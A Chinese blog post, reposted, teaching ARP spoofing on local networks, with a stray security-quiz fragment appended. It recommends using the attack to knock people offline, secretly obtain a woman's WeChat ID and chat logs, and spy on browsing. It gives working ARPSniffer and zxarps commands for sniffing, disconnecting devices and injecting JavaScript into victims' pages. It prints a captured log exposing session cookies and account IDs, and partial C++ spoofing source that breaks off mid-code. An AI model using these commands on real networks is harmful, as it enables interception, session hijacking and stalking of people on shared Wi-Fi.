使用ARP欺骗, 截取局域网中任意一台机器的网页请求,破解用户名密码等信息

  ARP欺骗的作用

  当你在网吧玩,发现有人玩LOL大吵大闹, 用ARP欺骗把他踢下线吧

  当你在咖啡厅看上某一个看书的妹纸,又不好意思开口要微信号, 用arp欺骗,不知不觉获取到她的微信号和聊天记录,吓一吓人家也是可以的嘛;

  当你没啥事的时候, 想窜改局域网内的baidu的首页, 用arp欺骗吧, 把baidu首页跳到你想要的网页;

  当你想看看同一个局域网的人都在浏览啥玩意儿的时候, 用arp欺骗, 那就不无聊了啊;

 

  ARP欺骗

  很早以前就接触过局域网ARP欺骗, 一直没去尝试, 今天就试试,通过ARP欺骗,截获局域网中任意一台计算机的网络通信数据,很早以前网吧就有 "聚生网管", "网络执法官", 也都是通过ARP欺骗让局域网中的任意一台机器断网

  首先普及一下基本知识:

  什么是网关

首先来简单解释一下什么是网关,网关工作在OSI七层模型中的传输层或者应用层,用于高层协议的不同网络之间的连接,简单地说,网关就好比是一个房间通向另一个房间的一扇门。

  ARP协议是什么

  ARP(Address Resolution Protocol)地址转换协议,工作在OSI模型的数据链路层,在以太网中,网络设备之间互相通信是用MAC地址而不是IP地址,ARP协议就是用来把IP地址转换为MAC地址的。而RARP和ARP相反,它是反向地址转换协议,把MAC地址转换为IP地址。 假设A(192.168.1.2)与B(192.168.1.3)在同一局域网,A要和B实现通信。A首先会发送一个数据包到广播地址(192.168.1.255),该数据包中包含了源IP(A)、源MAC、目的IP(B)、目的MAC,这个数据包会被发放给局域网中所有的主机,但是只有B主机会回复一个包含了源IP(B)、源MAC、目的IP(A)、目的MAC的数据包给A,同时A主机会将返回的这个地址保存在ARP缓存表中。

  ARP 欺骗分为两种,一种是双向欺骗,一种是单向欺骗:

  单向ARP欺骗

  掐断 A 与 B 的通讯,实现原理:C 向 A 发送一条 Arp 数据包,内容为:B 的地址是 00:00:00:00:00:00 (一个错误的地址),那么 A 此后向 B 发的数据包都会发到 00,而这个地址是错误的,所以通讯中断了,但是要注意了,这里只是 A –> B 中断了,B –> A 没有中断,所以这个叫单向欺骗。

  掐断 B 与 A 的通讯,实现原理和第一条一样,如果和第一条一起发,那么 A 和 B 的通讯就完全中断了,即:A <– × –> B

   嗅探 A 与 B 的通讯,实现原理:C 向 A 发送一条 Arp 数据包,内容为:B 的地址是 AA:BB:CC:DD:EE:FF (C自己的地址),也就是说,C 对 A 说:我才是 B,于是 A 把向 B 发送的数据都发给 C 了,C 得到数据后就可以为所欲为了,可以直接丢弃,那么通讯中断,也可以再次转发给 B,那么又形成回路,C 当了个中间人,监视 A 和 B 的通讯,此时你就可以用CAIN等任何抓包工具进行本地嗅探了,因为目标机器数据完全从你这你走,任意嗅探。当然你可以不转发所有数据,只转发部分数据, 把某些特定协议的数据分离出来,然后单独处理,例如替换、修改(类似 zxarp 等 Arp 工具的插入、劫持数据功能),或者干点其他啥,都行。

  双向ARP欺骗

  A要跟C正常通讯,B向A说我是才C。B向C说我才是A,那么这样的情况下把A跟C的ARP缓存表全部修改了。以后通讯过程就是 A把数据发送给B,B在发送给C,C把数据发送B,B在把数据给A。

  攻击主机发送ARP应答包给被攻击主机和网关,它们分别修改其ARP缓存表为, 修改的全是攻击主机的MAC地址,这样它们之间数据都被攻击主机截获。

  开始ARP欺骗

  我们需要一个exe工具,ARPSniffer.exe, 这个是一个很古老的工具,下载地址是最后会给出来, 使用ARPSniffer之前,必须安装WinpCap,已经安装过了就不要安装了;

  下载好了解压, 打开命令行窗口(cmd), 定位到ARPSniffer目录下, 执行 arpsniffer.exe , 会出现以下的命令行帮助提示:

  安装提示的使用方法, arpsniffer的第一个参数为网关地址, 我这儿为:192.168.1.1, 第二个参数为要欺骗的IP地址, IP为:192.168.1.107, 第三个参数为要截取数据的端口号:80, 第四个参数是要把捕获的数据保存到指定的文件:log.txt ,一整句命令为:

运行下面代码

arpsniffer 192.168.1.1 192.168.1.107 80  log.txt

  此时注意力转移到IP为192.168.1.107的机器上, 在这台机器上随便打开几个网页;

  看到在执行命令行的那台计算机上, 命令行窗口一直在闪,   截图:

  截获的log.txt文件, 内容为:

运行下面代码

111.13.82.76(80)->111.13.82.76(53349) 敁p? ? 111.13.82.76(80)->111.13.82.76(53349) 敁p? ? 111.13.82.76(80)->111.13.82.76(53349) 敁p? ? 111.13.82.76(80)->111.13.82.76(53349) 敁p? ? 111.13.82.76(80)->111.13.82.76(53349) 敁p? ? 111.13.82.76(80)->111.13.82.76(53349) 敁p? ? 192.168.1.109(56097)->192.168.1.109(80) GET /wan/box/Version/WDVersionUpdate.php?version=1.1.2.2&uin=346668791&apps=1105437481_0.5.3.6 HTTP/1.1 Host: apps.game.qq.com Accept: */* 117.144.244.45(80)->117.144.244.45(56097) HTTP/1.1 200 OK Server: nginx Date: Wed, 16 Nov 2016 06:25:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding 6c 锘縶"bin":{"ret":0,"msg":"you are the latest version"},"app":[{"ret":0,"id":"1105437481"}],"ret":0,"msg":""} 0 192.168.1.109(56099)->192.168.1.109(80) POST /cm/ReportNew.php HTTP/1.1 Referer: http://www.qq.com User-Agent: ctgame Host: apps.wusp.qq.com Content-Length: 907 Cache-Control: no-cache Cookie: pt2gguin=o0004247426; RK=6GEq2bbyFh; ptcz=e031b28dc1c3f609157085d4ef85a6c7abaa89e74fe2b9ddb2c3d2f60f054ca1; pgv_pvid=9711168810; eas_sid=01m427J7j8q9k0V6z3v8b2J1l7; ptui_loginuin=1297282063; pgv_pvi=9363555328 192.168.1.109(56099)->192.168.1.109(80) { "data": [ { "table": "MicroGBDoingEventNew", "iUin": "0", "iEventId": "50010", "iAction": "2800264", "iAppId": "4294967295", "vMac": "d4bed9e247df", "iClientVersion": "1010202", "iLoginWay": "4294967295", "vFlashVersion": "13.0.0.182", "vSysVersion": "6.1.7601", "vBrowserVersion": "9.0.8112.16421" }, { "table": "MicroGBDoingEventNew", "iUin": "0", "iEventId": "50010", "iAction": "2800275", "iAppId": "4294967295", "vMac": "d4bed9e247df", "iClientVersion": "1010202", "iLoginWay": "4294967295", "vFlashVersion": "13.0.0.182", "vSysVersion": "6.1.7601", "vBrowserVersion": "9.0.8112.16421" } ] } 117.135.175.161(80)->117.135.175.161(56099) HTTP/1.1 200 OK Server: nginx Date: Wed, 16 Nov 2016 06:25:02 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding 29 var ReportNew_JSON = {"ret":0,"msg":"OK"} 0
View Code

  目标机器请求的数据和收到的数据都会被我截获, 目标机器的请求中如果有一些明文密码, 那么我们就可以...., 目标的请求cookie也可以获取到, 也就是说,我们可以绕过密码,直接登录网页的后台比如qq空间,qq邮箱, weibo啊这些地方;

  但是目前的ARP欺骗属于单向欺骗, 我们虽然截取目标机器的数据, 但是并没有转发, 所以目标机器浏览网页的时候会卡死, 这样很容易被发觉, 我们继续往下走;

  让局域网中的任意一台计算机或者手机断线

  让局域网中的任意一台计算机或者手机断线,前提是我们要先知道别人手机IP或者电脑IP ,接着执行命令, 第一个参数为本地的网关,第二个参数为要断网的设备,第三个参数为 端口号为80:

运行下面代码

ARPSniffer 192.168.1.1 192.168.1.105 80 log.txt 

  以上的代码只是劫持了80 端口, 还要再劫持 443端口, 重新执行一遍 :

运行下面代码

ARPSniffer 192.168.1.1 192.168.1.105 443 log.txt 

  此时IP为192.168.1.105的设备将会断网, 此时这个设备可以是一台android手机或者iphone手机,或者电脑..等;

  

  zxarps实现双向截取数据,并修改网页内容

  zxarps可以截获服务器返回的内容,并返回个被攻击的机器,而且这个过程中被攻击的机器完全不会察觉到,文章最后会提供zxarps.exe文件地址, 要使用zxarps也需要安装WinpCap.exe;

  下载完毕以后解压, 同样使用cmd(命令行窗口)定位到zxarps的目录, 执行zxarps.exe:

  按照zxarp的文档, 我想让所有被攻击的用户在访问任意网站的时候, 执行我给出的JS代码, 构建出对应的命令为:

运行下面代码

zxarps.exe -idx 0 -ip 192.168.1.102 -p 80 -insert   "<script>alert('chenqihao, sgoyi !')</script>"

  现在只要IP为192.168.1.102的计算机用户访问协议为http的网页, 页面中都会弹出一条消息,通过查看网页源代码也可以看到, javascript代码被正确插入到页面中:

  命令行提示“成功插入代码”:

  IP为192.168.0.107的用户登录www.youku.com的时候页面上出现了一个提示框, 通过查看网页源码,我们也看到了攻击者添加的JS代码

   zxarps还有其他的使用方式,比如捕获用户的网页请求数据接收数据, 截取IP为192.168.1.7192.168.1.105的所有网页请求并保存起来, 构造如下的命令行:

运行下面代码

zxarps -idx 0 -ip 192.168.1.107,192.168.1.105 -p 80 -save_a log.txt

  命令行开始闪了, 抓包开始了咯, 抓取的所有数据都会保存到log.txt中:

  ARP欺骗可以实现局域网挂广告, 盗取明文密码, 偷偷刷weibo粉丝, 查看别人的聊天记录等, 获取局域网妹纸的微信号,qq号等, 毕竟可以插入JavaScript代码了, 啥事干不了...

  有些同学说,都是黑色窗口的命令行,我不会啊! 其实也有图形界面的ARP欺骗工具, netfuke , 至于怎么使用就不多做介绍了;

  arpCheat源码解析:

    arpCheat是基于C++的代码, 需要winpcap的相关lib, 互联网中的arp包格式为:

  我们只要构造出一个请求结构体,把结构体发送给远程计算机即可实现ARP欺骗, 提供一些代码作为参考:

  AppCheat.h

运行下面代码

#ifndef MY_ARP_CHEAT_INCLUDE_H   
#define MY_ARP_CHEAT_INCLUDE_H   
  
//字节对齐必须是1   
#pragma pack (1)   
struct ethernet_head { unsigned char dest_mac[6]; //目标主机MAC地址 unsigned char source_mac[6]; //源端MAC地址 unsigned short eh_type; //以太网类型 }; struct arp_head { unsigned short hardware_type; //硬件类型:以太网接口类型为1 unsigned short protocol_type; //协议类型:IP协议类型为0X0800 unsigned char add_len; //硬件地址长度:MAC地址长度为6B unsigned char pro_len; //协议地址长度:IP地址长度为4B unsigned short option; //操作:ARP请求为1,ARP应答为2 unsigned char sour_addr[6]; //源MAC地址:发送方的MAC地址 unsigned long sour_ip; //源IP地址:发送方的IP地址 unsigned char dest_addr[6]; //目的MAC地址:ARP请求中该字段没有意义;ARP响应中为接收方的MAC地址 unsigned long dest_ip; //目的IP地址:ARP请求中为请求解析的IP地址;ARP响应中为接收方的IP地址 unsigned char padding[18]; }; struct arp_packet //最终arp包结构 { ethernet_head eth; //以太网头部 arp_head arp; //arp数据包头部 }; #pragma pack () /** * 获得网卡的MAC地址 * pDevName 网卡的设备名称 */ unsigned char* GetSelfMac(char* pDevName); /** * 封装ARP请求包 * source_mac 源MAC地址 * srcIP 源IP * destIP 目的IP */ unsigned char* BuildArpPacket(unsigned char* source_mac, unsigned long srcIP, unsigned long destIP); #endif 
View Code

  AppCheat.cpp

运行下面代码

#include <stdio.h>   
#include <pcap.h>   
#include <conio.h>   
#include <packet32.h>   
#include <ntddndis.h>   
#include "ArpCheat.h" int main(int argc,char* argv[]){ pcap_if_t *alldevs; //全部网卡列表 pcap_if_t *d; //一个网卡 int inum; //用户选择的网卡序号 int i=0; //循环变量 pcap_t *adhandle; //一个pcap实例 char errbuf[PCAP_ERRBUF_SIZE]; //错误缓冲区 unsigned char *mac; //本机MAC地址 unsigned char *packet; //ARP包 unsigned long fakeIp; //要伪装成的IP地址 pcap_addr_t *pAddr; //网卡地址 unsigned long ip; //IP地址 unsigned long netmask; //子网掩码 if(argc!=2){ printf("Usage: %s inet_addr\n",argv[0]); return -1; } //从参数列表获得要伪装的IP地址 fakeIp = inet_addr(argv[1]); if(INADDR_NONE==fakeIp){ fprintf(stderr,"Invalid IP: %s\n",argv[1]); return -1; } /* 获得本机网卡列表 */ if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1) { fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf); exit(1); } /* 打印网卡列表 */ for(d=alldevs; d; d=d->next) { printf("%d", ++i); if (d->description) printf(". %s\n", d->description); else printf(". No description available\n"); } //如果没有发现网卡 if(i==0) { printf("\nNo interfaces found! Make sure WinPcap is installed.\n"); return -1; } //请用户选择一个网卡 printf("Enter the interface number (1-%d):",i); scanf("%d", &inum); //如果用户选择的网卡序号超出有效范围,则退出 if(inum < 1 || inum > i) { printf("\nInterface number out of range.\n"); /* Free the device list */ pcap_freealldevs(alldevs); return -1; } /* 移动指针到用户选择的网卡 */ for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++); mac = GetSelfMac(d->name+8); //+8以去掉"rpcap://"  printf("发送ARP欺骗包,本机(%.2X-%.2X-%.2X-%.2X-%.2X-%.2X) 试图伪装成%s\n", mac[0],mac[1],mac[2],mac[3],mac[4],mac[5],argv[1]); /* 打开网卡 */ if ( (adhandle= pcap_open(d->name, // name of the device 65536, // portion of the packet to capture 0, //open flag 1000, // read timeout NULL, // authentication on the remote machine errbuf // error buffer ) ) == NULL) { fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name); /* Free the device list */ pcap_freealldevs(alldevs); return -1; } for(pAddr=d->addresses; pAddr; pAddr=pAddr->next){ //得到用户选择的网卡的一个IP地址 ip = ((struct sockaddr_in *)pAddr->addr)->sin_addr.s_addr; //得到该IP地址对应的子网掩码 netmask = ((struct sockaddr_in *)(pAddr->netmask))->sin_addr.S_un.S_addr; if (!ip || !netmask){ continue; } //看看这个IP和要伪装的IP是否在同一个子网 if((ip&netmask)!=(fakeIp&netmask)){ continue; //如果不在一个子网,继续遍历地址列表  } unsigned long netsize = ntohl(~netmask); //网络中主机数 unsigned long net = ip & netmask; //子网地址 for(unsigned long n=1; n<netsize; n++){ //第i台主机的IP地址,网络字节顺序 unsigned long destIp = net | htonl(n); //构建假的ARP请求包,达到本机伪装成给定的IP地址的目的 packet = BuildArpPacket(mac,fakeIp,destIp); if(pcap_sendpacket(adhandle, packet, 60)==-1){ fprintf(stderr,

转载于:https://www.cnblogs.com/airoot/p/10270089.html

  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
网络安全知识竞赛小测试 -网络攻击技术 1、通过寻找目标的安全漏洞、盗窃存放系统口令的文件、破译加密的口令,属于哪种行为( ) [单选题] * A.破解系统口令文件(正确答案) B.网络嗅探 C.键盘记录 D.间人攻击 2、关于摆渡攻击的描述错误的是( )[单选题] * A.摆渡攻击是百度的一种攻击方式(正确答案) B.摆渡攻击是一种专门针对移动存储设备的攻击方式 C.摆渡攻击就是利用 u 盘作为"渡船" D.摆渡木马隐蔽性、针对性很强,一般只感染特定的计算机 3、以下选项( )不属于 APT 攻击的特点。[单选题] * A.潜伏性 B.针对性 C.社会工程性 D.传染性(正确答案) 4、比特币是( )[单选题] * A.美国法定货币 B.网络通用电子货币 C.国际通用货币 D.有一定流通性和认可性的虚拟货币(正确答案) 5、使网络服务器充斥着大量要求回复的信息,消耗带宽,导致网络或系统停止正常服务,这 属于什么攻击类型( )[单选题] * A.拒绝服务(正确答案) B.文件共享 C.BIND 漏洞 D.远程过程调用 6、关闭 WIFI 的自动连接功能可以防范( )[单选题] * A.所有恶意攻击 B.假冒热点攻击(正确答案) C.恶意代码 D.拒绝服务攻击 7、下列哪个不是 QQ 毒的主要症状( )[单选题] * A.QQ 老是掉线,提示异地登陆 B.QQ 空间存在垃圾广告日志 C.自动给好友发送垃圾消息 D.登录时无网络连接(正确答案) 8、从网络攻击的位置来分,可以分为远程攻击和( )两种。[单选题] * A.本地攻击(正确答案) B.主动攻击 C.被动攻击 D.伪远程攻击 9、黑客在攻击进行端口扫描可以完成( )。[单选题] * A.检测黑客自己计算机已开放哪些端口 B.口令破译 C.获知目标主机开放了哪些端口服务(正确答案) D.截获网络流量 10、许多黑客攻击都是利用软件实现的缓冲区溢出的漏洞,对于这一威胁,最可靠的解决方 案是( )[单选题] * A.安装防火墙 B.给系统安装最新的补丁(正确答案) C.安装入侵检测系统 D.安装防病毒软件 11、Man-in-the-middle 攻击,简称 MITM,即( )[单选题] * A.重放攻击 B.拒绝服务攻击 C.间人攻击(正确答案) D.后门漏洞攻击 12、使用漏洞库匹配的扫描方法,能发现( )[单选题] * A.未知的漏洞 B.已知的漏洞(正确答案) C.自行设计的软件的漏洞 D.所有漏洞 13、哪一项不是防范漏洞的措施( )[单选题] * A.使用正版软件 B.关注信息安全新闻 C.利用补丁 D.使用盗版软件(正确答案) 14、以下关于黑帽子描述正确的是( )[单选题] * A.获得国际资质的黑客 B.没有获得国际资质的骇客 C.没有获得国际资质的高级程序员 D.放弃道德信念而恶意攻击的黑客(正确答案) 15、以下不能防止拖库的方法是( )[单选题] * A.重要帐号单独管理,其他的帐号无所谓 B.可以电脑允许自动"保存密码",但定期修改密码 C.分级管理密码,把密码记录在本地磁盘的某个特定的文档 D.以上全部(正确答案) 16、摆渡攻击通常不会用以下哪个途径来窃取资料( )[单选题] * A.摄像头(正确答案) B.U 盘 C.移动硬盘 D.移动载体 17、心脏出血漏洞与以下哪个协议直接相关( )[单选题] * A.HTTP B.SSL(正确答案) C.TCP D.SMTP 18、国工商银行的官网为 http://www.icbc.com.cn,某同学从网上获取到一个网址为 http://www.icdc.com.cn,用浏览器打开后跟官网的几乎完全相同。针对第二个网址以下说法 正确的是:( )[单选题] * A.该网站是工商银行网站的备份网站,可以放心使用。 B.该网站可能属于钓鱼网站,冒充工商银行网站进行诈骗活动。(正确答案) C.先确保防火墙已经打开,防病毒软件已正确工作,然后放心打开并使用。 D.发给同学让同学去打开,确保安全后再用 19、攻击者常用的攻击工具有(1)DoS 攻击工具,(2)木马程序,(3)分布式工具。其 DoS 是指( )[单选题] * A.一种磁盘操作系统 B.拒绝服务(正确答案) C.一种黑客工具软件的名称 D.一种病毒的名称 20、TCP SYN 泛洪攻击的原理是利用了( )[单选题] * A.TCP 三次握手过程(正确答案) B.TCP 面向流的工作机制 C.TCP 数据传输的窗口技术 D.TCP 连接终止时的 FIN 报文 21、以下对 TCP 协议发起连接进行三次握手的叙述错误的是( )[单选题] * A.握手第一步:客户端发送一个 SYN 和 ACK 报文到服务器(正确答案) B.握手第二步:

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值